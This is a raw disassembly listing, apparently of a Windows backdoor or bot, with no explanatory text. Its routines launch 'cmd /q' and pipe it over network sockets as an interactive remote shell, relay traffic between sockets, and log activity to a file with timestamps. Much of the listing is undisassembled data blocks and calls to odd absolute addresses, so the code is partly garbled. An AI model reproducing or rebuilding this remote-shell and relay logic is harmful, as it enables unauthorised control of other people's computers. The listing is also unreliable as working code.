var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_2C		= dword	ptr -2Ch
var_28		= word ptr -28h
var_26		= word ptr -26h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 58h
		push	ebx
		push	esi
		push	edi
		push	44h
		pop	edi
		xor	esi, esi
		push	edi
		lea	eax, [ebp+var_58]
		push	esi
		push	eax
		mov	[ebp+var_4], esi
		call	sub_41B590
		push	10h
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		call	sub_41B590
		mov	eax, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		add	esp, 18h
		mov	[ebp+var_20], eax
		lea	eax, [ebp+var_18]
		mov	[ebp+var_58], edi
		mov	edi, dword_4270F8
		push	esi
		push	1
		push	2
		push	eax
		mov	[ebp+var_54], esi
		mov	[ebp+var_4C], esi
		mov	[ebp+var_50], esi
		mov	[ebp+var_3C], esi
		mov	[ebp+var_40], esi
		mov	[ebp+var_44], esi
		mov	[ebp+var_48], esi
		mov	[ebp+var_28], si
		mov	[ebp+var_24], esi
		mov	[ebp+var_26], si
		mov	[ebp+var_2C], 101h
		mov	[ebp+var_1C], ebx
		call	edi
		push	eax
		push	ebx
		call	edi
		push	eax
		call	near ptr 28C0000h
		nop
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		push	esi
		push	esi
		push	esi
		push	1
		push	esi
		push	esi
		push	offset aCmdQ	; "cmd /q"
		push	esi
		nop
		call	near ptr 2800890h
		test	eax, eax
		jz	short loc_410FDB
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+var_C]
		imul	eax, 234h
		push	[ebp+var_10]
		mov	esi, [ebp+var_14]
		mov	dword_43E568[eax], ecx
		call	near ptr 28005AFh
		nop
		jmp	short loc_410FF1
; ---------------------------------------------------------------------------


loc_410FDB:				; CODE XREF: sub_410F1F+9Aj
		nop
		call	near ptr 2830047h
		push	eax
		push	offset unk_434B34
		call	sub_415220
		mov	esi, [ebp+var_4]
		pop	ecx
		pop	ecx


loc_410FF1:				; CODE XREF: sub_410F1F+BAj
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_410F1F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410FF8	proc near		; DATA XREF: sub_410CD5+3Fo

var_1B0		= byte ptr -1B0h
var_C8		= byte ptr -0C8h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1B0h
		push	ebx
		push	esi
		mov	ebx, dword_4270E8
		push	edi
		mov	edi, [ebp+arg_0]
		lea	eax, [ebp+arg_0]
		push	0
		push	eax
		lea	eax, [ebp+var_C8]
		push	0C8h
		push	eax
		push	dword ptr [edi]


loc_411021:				; CODE XREF: sub_410FF8+8Fj
		call	ebx
		test	eax, eax
		jz	short loc_411089
		xor	eax, eax
		xor	dl, dl
		xor	esi, esi
		cmp	[ebp+arg_0], eax
		jbe	short loc_41105C


loc_411032:				; CODE XREF: sub_410FF8+62j
		mov	cl, [ebp+esi+var_C8]
		cmp	cl, 0Ah
		jnz	short loc_41104C
		cmp	dl, 0Dh
		jz	short loc_41104C
		mov	[ebp+eax+var_1B0], 0Dh
		inc	eax


loc_41104C:				; CODE XREF: sub_410FF8+44j
					; sub_410FF8+49j
		mov	[ebp+eax+var_1B0], cl
		inc	eax
		inc	esi
		mov	dl, cl
		cmp	esi, [ebp+arg_0]
		jb	short loc_411032


loc_41105C:				; CODE XREF: sub_410FF8+38j
		push	0
		push	eax
		lea	eax, [ebp+var_1B0]
		push	eax
		push	dword ptr [edi+0Ch]
		call	dword_4CB674
		test	eax, eax
		jle	short loc_411089
		lea	eax, [ebp+arg_0]
		push	0
		push	eax
		lea	eax, [ebp+var_C8]
		push	0C8h
		push	eax
		push	dword ptr [edi]
		jmp	short loc_411021
; ---------------------------------------------------------------------------


loc_411089:				; CODE XREF: sub_410FF8+2Dj
					; sub_410FF8+79j
		mov	esi, dword_42708C
		call	esi
		cmp	eax, 6Dh
		jz	short loc_4110A5
		call	esi
		push	eax
		push	offset dword_434B74
		call	sub_415220
		pop	ecx
		pop	ecx


loc_4110A5:				; CODE XREF: sub_410FF8+9Cj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_410FF8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4110AA	proc near		; DATA XREF: sub_410CD5+71o

var_DC		= byte ptr -0DCh
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_7		= byte ptr -7
var_6		= byte ptr -6
var_5		= byte ptr -5
var_4		= byte ptr -4
var_3		= byte ptr -3
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0DCh
		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		mov	edi, [ebp+arg_0]
		xor	esi, esi
		mov	[ebp+var_10], ebx
		mov	[ebp+var_C], ebx


loc_4110C3:				; CODE XREF: sub_4110AA+39j
					; sub_4110AA+D7j ...
		push	ebx
		lea	eax, [ebp+arg_0+3]
		push	1
		push	eax
		push	dword ptr [edi+0Ch]
		call	dword_4CB63C
		test	eax, eax
		jle	loc_4111C8
		cmp	[ebp+var_10], ebx
		jbe	short loc_4110E5
		dec	[ebp+var_10]
		jmp	short loc_4110C3
; ---------------------------------------------------------------------------


loc_4110E5:				; CODE XREF: sub_4110AA+34j
		mov	al, byte ptr [ebp+arg_0+3]
		movsx	ecx, al
		cmp	ecx, 0FFh
		jz	loc_4111A8
		cmp	al, 8
		mov	[ebp+var_C], ebx
		jz	short loc_411155
		cmp	al, 7Fh
		jz	short loc_411155
		cmp	al, 3
		jnz	short loc_411110
		push	ebx
		push	ebx
		call	near ptr 2930000h
		nop
		jmp	short loc_41117C
; ---------------------------------------------------------------------------


loc_411110:				; CODE XREF: sub_4110AA+5Aj
		cmp	al, 15h
		jnz	short loc_411132
		xor	esi, esi
		mov	[ebp+var_8], 20h
		mov	[ebp+var_7], 58h
		mov	[ebp+var_6], 58h
		mov	[ebp+var_5], 58h
		mov	[ebp+var_4], 0Dh
		mov	[ebp+var_3], 0Ah
		push	6
		jmp	short loc_411168
; ---------------------------------------------------------------------------


loc_411132:				; CODE XREF: sub_4110AA+68j
		mov	[ebp+esi+var_DC], al
		inc	esi
		push	1
		cmp	al, 0Dh
		mov	[ebp+var_8], al
		pop	ecx
		jnz	short loc_411169
		mov	[ebp+esi+var_DC], 0Ah
		mov	[ebp+var_7], 0Ah
		inc	esi
		push	2
		jmp	short loc_411168
; ---------------------------------------------------------------------------


loc_411155:				; CODE XREF: sub_4110AA+52j
					; sub_4110AA+56j
		cmp	esi, ebx
		jbe	short loc_41117F
		dec	esi
		mov	[ebp+var_8], 8
		mov	[ebp+var_7], 20h
		mov	[ebp+var_6], 8
		push	3


loc_411168:				; CODE XREF: sub_4110AA+86j
					; sub_4110AA+A9j
		pop	ecx


loc_411169:				; CODE XREF: sub_4110AA+98j
		push	ebx
		lea	eax, [ebp+var_8]
		push	ecx
		push	eax
		push	dword ptr [edi+0Ch]
		call	dword_4CB674
		test	eax, eax
		jle	short loc_4111C8


loc_41117C:				; CODE XREF: sub_4110AA+64j
		mov	al, byte ptr [ebp+arg_0+3]


loc_41117F:				; CODE XREF: sub_4110AA+ADj
		cmp	al, 0Dh
		jnz	loc_4110C3
		lea	eax, [ebp+var_14]
		push	ebx
		push	eax
		lea	eax, [ebp+var_DC]
		push	esi
		push	eax
		push	dword ptr [edi+4]
		call	near ptr 28A0000h
		nop
		test	eax, eax
		jz	short loc_4111C8
		xor	esi, esi
		jmp	loc_4110C3
; ---------------------------------------------------------------------------


loc_4111A8:				; CODE XREF: sub_4110AA+47j
		cmp	[ebp+var_C], ebx
		jnz	short loc_4111B9
		mov	[ebp+var_C], 1
		jmp	loc_4110C3
; ---------------------------------------------------------------------------


loc_4111B9:				; CODE XREF: sub_4110AA+101j
		mov	[ebp+var_10], 0Ah
		mov	[ebp+var_C], ebx
		jmp	loc_4110C3
; ---------------------------------------------------------------------------


loc_4111C8:				; CODE XREF: sub_4110AA+2Bj
					; sub_4110AA+D0j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4110AA	endp

; ---------------------------------------------------------------------------
byte_4111CD	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+2C07o
		dd 2D4EC81h, 458B0000h,	57565308h, 0F08B106Ah, 2CBD8D5Bh
		dd 6AFFFFFFh, 0FC5D892Ch, 6AA5F359h, 5FF63301h,	0A8B889h
		dd 8D530000h, 5056EC45h, 0A38BE8h, 0CC48300h, 0EC45C766h
		dd 75FF0002h, 2415FFC0h, 6A004CB6h, 26A5706h, 0EE458966h
		dd 0FFF07589h, 4CB6A415h, 8BF88B00h, 0C069C445h, 234h
		dd 6CB88953h, 8D0043E5h, 5750EC45h, 0B65015FFh,	0C085004Ch
		dd 121850Fh, 0A6A0000h,	4C15FF57h, 85004CB6h, 10850FC0h
		dd 0FF000001h, 0B5FFC075h, 0FFFFFF2Ch, 0FF99A2E8h, 8D5059FFh
		dd 0FFFD2C85h, 0BF7C68FFh, 0E8500042h, 0A606h, 3910C483h
		dd 2075D075h, 2C858D56h, 0FFFFFFFDh, 8D50CC75h,	0FFFF3085h
		dd 0B5FF50FFh, 0FFFFFF2Ch, 0FF87CDE8h, 14C483FFh, 0FD2C858Dh
		dd 0E850FFFFh, 3EF8h, 0FC458D59h, 0DC458D50h, 15FF5750h
		dd 4CB6B8h, 8BC475FFh, 45B70FD8h, 758950DEh, 0E075FFD8h
		dd 0B6B015FFh, 8D50004Ch, 0FFFD2C85h, 4C2068FFh, 0E8500043h
		dd 0A59Ah, 2C858D53h, 6AFFFFFDh, 0FBE85019h, 89FFFF9Dh
		dd 0C069C845h, 234h, 83C44D8Bh,	888920C4h, 43E564h, 5008458Dh
		dd 0FF2C858Dh, 5056FFFFh, 4113D268h, 0E8565600h, 240F2E2h
		dd 0C84D8B90h, 234C969h, 0C63B0000h, 0E5748189h, 13740043h
		dd 0FD87539h, 0FFFF6385h, 90056AFFh, 40F219E8h,	90EDEB02h
		dd 41ECF2E8h, 858D5002h, 0FFFFFD2Ch, 434BE468h,	1FE85000h
		dd 830000A5h, 39E90CC4h, 57FFFFFFh, 0B6BC15FFh,	75FF004Ch
		dd 2C858DC0h, 68FFFFFDh, 434BB0h, 0A4FCE850h, 0C4830000h
		dd 0D075390Ch, 8D562075h, 0FFFD2C85h, 0CC75FFFFh, 30858D50h
		dd 50FFFFFFh, 0FF2CB5FFh, 0C3E8FFFFh, 83FFFF86h, 858D14C4h
		dd 0FFFFFD2Ch, 3DEEE850h, 75FF0000h, 0A04CE8C4h, 5959FFFFh
		dd 0AEE89056h, 5F0246F5h, 8B555B5Eh, 0D4EC81ECh, 8B000005h
		dd 56530845h, 8B2C6A57h, 0BD8D59F0h, 0FFFFFF38h, 758BA5F3h
		dd 89016AD4h, 0F6690875h, 234h,	6CB68D5Fh, 890043E5h, 0ACB8h
		dd 8BDB3300h, 0F845C706h, 5, 0FA308589h, 458DFFFFh, 8D5350F8h
		dd 0FFFA2C85h, 535053FFh, 89FC5D89h, 0FFFA2CBDh, 0C15FFFFh
		dd 85004CB6h, 0FF1875C0h, 0BC15FF36h, 0FF004CB6h, 0C7E80875h
		dd 59FFFF9Fh, 2AE89053h, 530246F5h, 0FB30858Dh,	868FFFFh
		dd 50000004h, 15FF36FFh, 4CB63Ch, 187FC085h, 15FF36FFh
		dd 4CB6BCh, 0E80875FFh,	0FFFF9F96h, 0E8905359h,	246F4F9h
		dd 0FB30BD80h, 0F04FFFFh, 1ED85h, 31BD8000h, 1FFFFFBh
		dd 1E0850Fh, 5D380000h,	8D7774BCh, 8D50BC45h, 0FFFB3885h
		dd 0BDE850FFh, 590000ABh, 7459C085h, 0BC458D61h, 38858D50h
		dd 50FFFFFBh, 434CE868h, 3D52E800h, 680000h, 8D000004h
		dd 0FFFB3885h, 885053FFh, 0FFFB309Dh, 3185C6FFh, 5DFFFFFBh
		dd 0A0A3E8h, 18C48300h,	0FB30858Dh, 6A53FFFFh, 36FF5008h
		dd 0B67415FFh, 36FF004Ch, 0B6BC15FFh, 75FF004Ch, 9F00E808h
		dd 5359FFFFh, 0F463E890h, 106A0246h, 53E8458Dh,	0A06AE850h
		dd 8B660000h, 0FFFB3285h, 0CC483FFh, 0EA458966h, 0FB34858Bh
		dd 66AFFFFh, 66026A57h,	2E845C7h, 0EC458900h, 0B6A415FFh
		dd 0F88B004Ch, 75FFFF83h, 0B815FF5Dh, 50004CB5h, 434CA868h
		dd 3CBAE800h, 680000h, 8D000004h, 0FFFB3885h, 885053FFh
		dd 0FFFB309Dh, 3185C6FFh, 5BFFFFFBh, 0A00BE8h, 14C48300h
		dd 0FB30858Dh, 6A53FFFFh, 36FF5008h, 0B67415FFh, 36FF004Ch
		dd 0B6BC15FFh, 75FF004Ch, 9E68E808h, 5359FFFFh,	0F3CBE890h
		dd 458D0246h, 50106AE8h, 0CC15FF57h, 83004CB5h,	5D75FFF8h
		dd 0B5B815FFh, 6850004Ch, 434C64h, 3C4BE8h, 4006800h, 858D0000h
		dd 0FFFFFB38h, 9D885053h, 0FFFFFB30h, 0FB3185C6h, 0E85BFFFFh
		dd 9F9Ch, 8D14C483h, 0FFFB3085h, 86A53FFh, 0FF36FF50h
		dd 4CB67415h, 0FF36FF00h, 4CB6BC15h, 875FF00h, 0FF9DF9E8h
		dd 905359FFh, 46F35CE8h, 4006802h, 858D0000h, 0FFFFFB38h
		dd 9D885053h, 0FFFFFB30h, 0FB3185C6h, 0E85AFFFFh, 9F50h
		dd 8D0CC483h, 0FFFB3085h, 86A53FFh, 0FF36FF50h,	4CB67415h
		dd 5736FF00h, 39E8h, 57595900h,	0B6BC15FFh, 36FF004Ch
		dd 0B6BC15FFh, 75FF004Ch, 9D9CE808h, 5359FFFFh,	0F2FFE890h
		dd 36FF0246h, 0B6BC15FFh, 75FF004Ch, 9D84E808h,	5359FFFFh
		dd 0F2E7E890h
		db 46h,	2
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 504h
		push	ebx
		mov	ebx, [ebp+0Ch]
		push	esi
		push	edi
		xor	edi, edi
		mov	esi, 400h


loc_4116AC:				; CODE XREF: ___:0041175Bj
					; ___:0041178Bj
		mov	[ebp-100h], ebx
		mov	dword ptr [ebp-104h], 1
		xor	ecx, ecx
		lea	eax, [ebp-100h]


loc_4116C4:				; CODE XREF: ___:004116D2j
		mov	edx, [ebp+8]
		cmp	[eax], edx
		jz	short loc_4116D4
		inc	ecx
		add	eax, 4
		cmp	ecx, 1
		jb	short loc_4116C4


loc_4116D4:				; CODE XREF: ___:004116C9j
		cmp	ecx, 1
		jnz	short loc_4116E9
		mov	[ebp-0FCh], edx
		mov	dword ptr [ebp-104h], 2


loc_4116E9:				; CODE XREF: ___:004116D7j
		push	esi
		lea	eax, [ebp-504h]
		push	edi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp-104h]
		push	edi
		push	edi
		push	edi
		push	eax
		push	edi
		call	dword_4CB60C
		lea	eax, [ebp-104h]
		push	eax
		push	ebx
		call	dword_4CB510
		test	eax, eax
		jz	short loc_411749
		push	edi
		lea	eax, [ebp-504h]
		push	esi
		push	eax
		push	ebx
		call	dword_4CB63C
		cmp	eax, 0FFFFFFFFh
		jz	short loc_411791
		push	edi
		push	eax
		lea	eax, [ebp-504h]
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4CB674
		cmp	eax, 0FFFFFFFFh
		jz	short loc_411791


loc_411749:				; CODE XREF: ___:0041171Bj
		lea	eax, [ebp-104h]
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4CB510
		test	eax, eax
		jz	loc_4116AC
		push	edi
		lea	eax, [ebp-504h]
		push	esi
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4CB63C
		cmp	eax, 0FFFFFFFFh
		jz	short loc_411791
		push	edi
		push	eax
		lea	eax, [ebp-504h]
		push	eax
		push	ebx
		call	dword_4CB674
		cmp	eax, 0FFFFFFFFh
		jnz	loc_4116AC


loc_411791:				; CODE XREF: ___:00411730j
					; ___:00411747j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
word_411796	dw 8B55h		; DATA XREF: sub_401ACD+210Do
					; sub_40BACD+106o
		dd 7CEC81ECh, 8B000008h, 56530855h, 33016A57h, 0A9B958DBh
		dd 8B000000h, 8CBD8DF2h, 53FFFFFCh, 0A5F3026Ah,	0FE9C85FFh
		dd 26AFFFFh, 89F04589h,	4589EC45h, 0A08289F8h, 0FF000002h
		dd 4CB6A415h, 83F08B00h, 5675FFFEh, 19068h, 7BE89000h
		dd 390240EDh, 0FFFF289Dh, 532375FFh, 0F888858Dh, 0B5FFFFFFh
		dd 0FFFFFF24h, 0A4858D50h, 50FFFFFEh, 0FC8CB5FFh, 5FE8FFFFh
		dd 83FFFF82h, 858D14C4h, 0FFFFF888h, 398AE850h,	0B5FF0000h
		dd 0FFFFFE98h, 0FF9BE5E8h, 535959FFh, 0F147E890h, 458D0246h
		dd 50046AF0h, 0FFFFBFh,	57046A00h, 415FF56h, 8D004CB6h
		dd 46AEC45h, 57FB6A50h,	415FF56h, 8B004CB6h, 0FFFE9885h
		dd 69106AFFh, 234C0h, 0B0895300h, 43E56Ch, 50D4458Dh, 9D17E8h
		dd 0CC48300h, 0D445C766h, 0B5FF0002h, 0FFFFFEA0h, 0B62415FFh
		dd 8966004Ch, 458DD645h, 50106AD4h, 0D85D8956h,	0B65015FFh
		dd 0F883004Ch, 681975FFh, 1388h, 0ECB4E890h, 8DFF0240h
		dd 0FFFFFE9Ch, 0E90875FFh, 347h, 0FC90858Dh, 6868FFFFh
		dd 50004290h, 9BF1E8h, 0C33B5900h, 0FC458959h, 90684C75h
		dd 0E8000001h, 240EC82h, 858D5390h, 0FFFFF888h,	0FF24B5FFh
		dd 8D50FFFFh, 0FFFEA485h, 0B5FF50FFh, 0FFFFFC8Ch, 0FF816DE8h
		dd 88858DFFh, 50FFFFF8h, 389BE8h, 98B5FF00h, 0E8FFFFFEh
		dd 0FFFF9AF6h, 531CC483h, 0F057E890h, 7D8B0246h, 0A09F3908h
		dd 0F000002h, 29584h, 80BF00h, 858D0000h, 0FFFFFF30h, 0C7505357h
		dd 5E445h, 45C70000h, 1388E8h, 88B58900h, 0C7FFFFF7h, 0FFF78485h
		dd 1FFh, 9C2AE800h, 0C4830000h,	0E4458D0Ch, 858D5350h
		dd 0FFFFF784h, 0FF535053h, 4CB60C15h, 0FC08500h, 2398Eh
		dd 0D7D8A000h, 0CF8B0043h, 0FA888588h, 0C033FFFFh, 0FA89BD8Dh
		dd 45C7FFFFh, 10F4h, 66ABF300h,	458DAAABh, 458D50F4h, 8D5350C4h
		dd 0FFFF3085h, 8068FFh,	56500000h, 0B5FC15FFh, 75FF004Ch
		dd 0F84589C8h, 0B6B015FFh, 8D50004Ch, 0E850B045h, 9EAEh
		dd 0FF309D38h, 5959FFFFh, 1C2850Fh, 0BD800000h,	0FFFFFF31h
		dd 0BB850F01h, 8D000000h, 0FFFD9485h, 0E1E850FFh, 53000095h
		dd 0FC75FF53h, 0B7E3E8h, 0FC75FF00h, 0FA8C858Dh, 9D88FFFFh
		dd 0FFFFFA88h, 0FA8985C6h, 6803FFFFh, 200h, 8850016Ah
		dd 0FFFA8A9Dh, 8B85C6FFh, 1FFFFFAh, 96E1E8h, 20C48300h
		dd 89C44D8Dh, 0C083F845h, 0F475FF04h, 8D505351h, 0FFFA8885h
		dd 0FF5650FFh, 4CB68815h, 0B0458D00h, 88858D50h, 68FFFFF8h
		dd 434D54h, 9E18E850h, 0C4830000h, 289D390Ch, 75FFFFFFh
		dd 858D5323h, 0FFFFF888h, 0FF24B5FFh, 8D50FFFFh, 0FFFEA485h
		dd 0B5FF50FFh, 0FFFFFC8Ch, 0FF7FD9E8h, 14C483FFh, 0F888858Dh
		dd 0E850FFFFh, 3704h, 110E959h,	0BD800000h, 0FFFFFF31h
		dd 0ED850F04h, 8A000000h, 0FFFF338Dh, 32858AFFh, 80FFFFFFh
		dd 9D88FFF9h, 0FFFFFA88h, 0FA8985C6h, 7503FFFFh, 32C0FE12h
		dd 8A8588C9h, 88FFFFFAh, 0FFFA8B9Dh, 0FE0EEBFFh, 8A8588C1h
		dd 88FFFFFAh, 0FFFA8B8Dh, 0C0B60FFFh, 0C1C9B60Fh, 0C10308E0h
		dd 200BFh, 9E0C100h, 5053C72Bh,	0E8FC75FFh, 0B6D4h, 8DFC75FFh
		dd 0FFFA8C85h, 16A57FFh, 95F0E850h, 0C4830000h,	8DF88B1Ch
		dd 7D89C445h, 0F475FFF8h, 4478D50h, 858D5053h, 0FFFFFA88h
		dd 15FF5650h, 4CB688h, 6E75FB3Bh, 50B0458Dh, 0F888858Dh
		dd 3468FFFFh, 5000434Dh, 9D21E8h, 0CC48300h, 0FF289D39h
		dd 2375FFFFh, 88858D53h, 0FFFFFFF8h, 0FFFF24B5h, 858D50FFh
		dd 0FFFFFEA4h, 8CB5FF50h, 0E8FFFFFCh, 0FFFF7EE2h, 8D14C483h
		dd 0FFF88885h, 0DE850FFh, 0FF000036h, 4CE12C05h, 16EB5900h
		dd 8DF475FFh, 5350C445h, 2868096Ah, 5600434Dh, 0B68815FFh
		dd 5D39004Ch, 5F8F0FF8h, 8BFFFFFDh, 0FF56087Dh,	4CB6BC15h
		dd 0FC75FF00h, 9482E8h,	9C8DFF00h, 39FFFFFEh, 2A09Fh, 13755900h
		dd 0FE98B5FFh, 1FE8FFFFh, 59FFFF98h, 82E89053h,	680246EDh
		dd 3E8h, 0E960E890h, 0E8570240h, 0FFFFFB8Ah, 0C95B5E5Fh
; ---------------------------------------------------------------------------
		retn	4
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 314h
		lea	eax, [ebp-10h]
		push	esi
		push	eax
		nop
		call	near ptr 293012Ah
		lea	eax, [ebp-114h]
		push	104h
		push	eax
		call	near ptr 2820000h
		nop
		lea	eax, [ebp-114h]
		push	offset asc_435514 ; "\\"
		push	eax
		call	sub_41BEC0
		lea	eax, [ebp-114h]
		push	offset dword_429114
		push	eax
		call	sub_41BEC0
		lea	eax, [ebp-114h]
		push	offset aAb	; "ab"
		push	eax
		call	sub_41B4C2
		mov	esi, eax
		add	esp, 18h
		test	esi, esi
		jnz	short loc_411C7A
		push	1
		pop	eax
		jmp	short loc_411CF1
; ---------------------------------------------------------------------------


loc_411C7A:				; CODE XREF: ___:00411C73j
		movzx	eax, word ptr [ebp-4]
		push	dword ptr [ebp+8]
		push	eax
		movzx	eax, word ptr [ebp-6]
		push	eax
		movzx	eax, word ptr [ebp-8]
		push	eax
		movzx	eax, word ptr [ebp-10h]
		push	eax
		movzx	eax, word ptr [ebp-0Ah]
		push	eax
		movzx	eax, word ptr [ebp-0Eh]
		push	eax
		push	offset aDDDDDDS	; "[%d-%d-%d %d:%d:%d] %s\r\n"
		push	esi
		call	sub_41BE06
		push	esi
		call	sub_41B05B
		add	esp, 28h
		cmp	dword ptr [ebp+98h], 0
		jnz	short loc_411CEF
		push	dword ptr [ebp+8]
		lea	eax, [ebp-314h]
		push	offset dword_4354E4
		push	200h
		push	eax
		call	sub_41B980
		push	0
		lea	eax, [ebp-314h]
		push	dword ptr [ebp+94h]
		push	eax
		lea	eax, [ebp+14h]
		push	eax
		push	dword ptr [ebp+0Ch]
		call	sub_409A72
		add	esp, 24h


loc_411CEF:				; CODE XREF: ___:00411CB6j
		xor	eax, eax


loc_411CF1:				; CODE XREF: ___:00411C78j
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------
dword_411CF4	dd 81EC8B55h, 8DCECh, 8458B00h,	83575653h, 0FFF724A5h
					; DATA XREF: sub_401ACD+4508o
		dd 256A00FFh, 0FC6583h,	8DF08B59h, 0FFFF24BDh, 0C7A5F3FFh
		dd 9080h, 100h,	0FFB900h, 0C0330000h, 0F728BD8Dh, 0ABF3FFFFh
		dd 0B5A815FFh, 4D8D004Ch, 513C6AB8h, 0F8458950h, 0B5C015FFh
		dd 0BB004Ch, 6A000002h,	0E810E808h, 0FF900240h,	4CB5A815h
		dd 0F8453B00h, 4D8D7574h, 513C6AB8h, 0F8458950h, 0B5C015FFh
		dd 458D004Ch, 858D50B8h, 0FFFFFD24h, 24858D50h,	68FFFFFBh
		dd 435544h, 9AF8E850h, 0EC810000h, 84h,	0FF24B58Dh, 858DFFFFh
		dd 0FFFFFB24h, 8B59256Ah, 0A5F350FCh, 0FFFE66E8h, 0FC4589FFh
		dd 24858D53h, 6AFFFFFDh, 0D1E85000h, 81000097h,	0A4C4h
		dd 24858D00h, 53FFFFFBh, 0E850006Ah, 97BCh, 0C70CC483h
		dd 4D7C0845h, 106A0043h, 0B4F815FFh, 0BF0F004Ch, 8458BF0h
		dd 57FC788Bh, 0B5F015FFh, 0C4F6004Ch, 6A7B7480h, 0F815FF14h
		dd 66004CB4h, 1F74C085h, 7EFFFE83h, 40FF831Ah, 0FF83157Eh
		dd 0C7107D5Bh, 0F724BD84h, 1FFFFh, 7FE90000h, 6A000001h
		dd 0F815FF14h, 66004CB4h, 1E74C085h, 2E7DF685h,	7E40FF83h
		dd 5BFF8315h, 84C7107Dh, 0FFF724BDh, 2FFh, 154E900h, 0F6850000h
		dd 84C7107Dh, 0FFF724BDh, 3FFh,	140E900h, 84C70000h, 0FFF724BDh
		dd 4FFh, 130E900h, 0B48B0000h, 0FFF724BDh, 0BD848DFFh
		dd 0FFFFF724h, 840FF685h, 11Ah,	8D002083h, 0FFFD2485h
		dd 8FF83FFh, 0E8137550h, 9140h,	2305A480h, 0FFFFFDh, 0F8E959h
		dd 2DE80000h, 3D000091h, 1B9h, 0FF257659h, 4CB5A815h, 0B84D8D00h
		dd 50513C6Ah, 0B5C015FFh, 458D004Ch, 858D50B8h,	0FFFFFD24h
		dd 552C6850h, 41EB0043h, 0F0DFF83h, 8F85h, 24858D00h, 50FFFFFDh
		dd 90EBE8h, 59C08500h, 0A8840Fh, 15FF0000h, 4CB5A8h, 6AB84D8Dh
		dd 0FF50513Ch, 4CB5C015h, 0B8458D00h, 24858D50h, 50FFFFFDh
		dd 43551868h, 24858D00h, 50FFFFFBh, 9959E8h, 84EC8100h
		dd 8D000000h, 0FFFF24B5h, 24858DFFh, 6AFFFFFBh,	0FC8B5925h
		dd 0E8A5F350h, 0FFFFFCC7h, 53FC4589h, 0FD24858Dh, 6AFFFFh
		dd 9632E850h, 0C4810000h, 0A4h,	0FB24858Dh, 6A53FFFFh
		dd 1DE85000h, 83000096h, 2EEB0CC4h, 7401FE83h, 3FE8314h
		dd 0FE830F74h, 83057402h, 1A7504FEh, 0EB0875FFh, 8458B07h
		dd 5007C083h, 0FD24858Dh, 0E850FFFFh, 9F1Ch, 45835959h
		dd 7D811408h, 4354AC08h, 278C0F00h, 83FFFFFEh, 0F00FC7Dh
		dd 0FFFD8E84h, 28B5FFFFh, 0E8FFFFFFh, 0FFFF9446h, 0E8006A59h
		dd 246E9A9h
		db 90h
byte_411FD5	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+412Ao
		dd 102B4B8h, 9B3EE800h,	558B0000h, 6A575608h, 0F28B5801h
		dd 0BD8D256Ah, 0FFFFFF4Ch, 0F8458959h, 8289A5F3h, 90h
		dd 106AF633h, 56E4458Dh, 9582E850h, 0C4830000h,	45C7660Ch
		dd 560002E4h, 0B62415FFh, 0B5FF004Ch, 0FFFFFF4Ch, 0E6458966h
		dd 0FF8BE2E8h, 0FF5059FFh, 4CB66415h, 36A5600h,	4589026Ah
		dd 0A415FFE8h, 8B004CB6h, 0FFFF83F8h, 75FC7D89h, 0B815FF5Dh
		dd 50004CB5h, 0FD4C858Dh, 0B468FFFFh, 5000435Eh, 9821E8h
		dd 0CC48300h, 75D87539h, 858D5620h, 0FFFFFD4Ch,	50D475FFh
		dd 0FF50858Dh, 0FF50FFFFh, 0FFFF4CB5h, 79E8E8FFh, 0C483FFFFh
		dd 4C858D14h, 50FFFFFDh, 3113E8h, 0D075FF00h, 0FF9371E8h
		dd 565959FFh, 0E8D3E890h, 458B0246h, 69106AD0h,	234C0h
		dd 6CB88900h, 8D0043E5h, 5750E445h, 0B65015FFh,	0F883004Ch
		dd 0FF6475FFh, 4CB5B815h, 858D5000h, 0FFFFFD4Ch, 435E8868h
		dd 0A3E85000h, 83000097h, 75390CC4h, 562075D8h,	0FD4C858Dh
		dd 75FFFFFFh, 858D50D4h, 0FFFFFF50h, 4CB5FF50h,	0E8FFFFFFh
		dd 0FFFF796Ah, 8D14C483h, 0FFFD4C85h, 95E850FFh, 59000030h
		dd 0BC15FF57h, 0FF004CB6h, 0EBE8D075h, 59FFFF92h, 0E84FE856h
		dd 56900246h, 56E0458Dh, 8D565650h, 46AF845h, 16850h, 0FF579800h
		dd 4CB5D015h, 0FFF88300h, 15FF6475h, 4CB5B8h, 4C858D50h
		dd 68FFFFFDh, 435E58h, 9720E850h, 0C4830000h, 0D875390Ch
		dd 8D562075h, 0FFFD4C85h, 0D475FFFFh, 50858D50h, 50FFFFFFh
